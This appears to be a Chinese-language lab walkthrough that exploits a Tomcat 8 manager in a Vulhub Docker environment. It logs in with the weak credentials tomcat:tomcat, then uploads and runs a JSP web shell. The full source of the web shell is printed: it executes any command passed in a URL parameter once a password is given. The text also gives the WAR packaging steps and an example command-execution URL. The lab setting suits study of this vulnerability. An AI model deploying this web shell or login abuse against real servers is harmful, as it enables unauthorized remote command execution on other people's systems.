一:搭建环境
1、利用vulhub搭建环境,进入相关漏洞目录下
cd /vulhub/tomcat/tomcat8
2、一键安装环境
docker-compose up -d
二:漏洞利用
1、打开http://your-ip:8080/manager/html,输入弱密码tomcat:tomcat。
2、制作木马文件,首先准备一个ma.jsp木马,压缩成ma.zip,再修改后缀名为ma.war。
ma.jsp
<%@ page language="java" contentType="text/html; charset=GBK"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>一句话木马</title>
</head>
<body>
<%
if ("admin".equals(request.getParameter("pwd"))) {
java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len = -1;
byte[] bytes = new byte[4092];
out.print("<pre>");
while ((len = input.read(bytes)) != -1) {
out.println(new String(bytes, "GBK"));
}
out.print("</pre>");
}
%>
</body>
</html>
3、上传木马文件。
上传成功。
4、访问:http://192.168.33.137:8080/ma/ma.jsp?pwd=admin&cmd=id
成功执行cmd命令。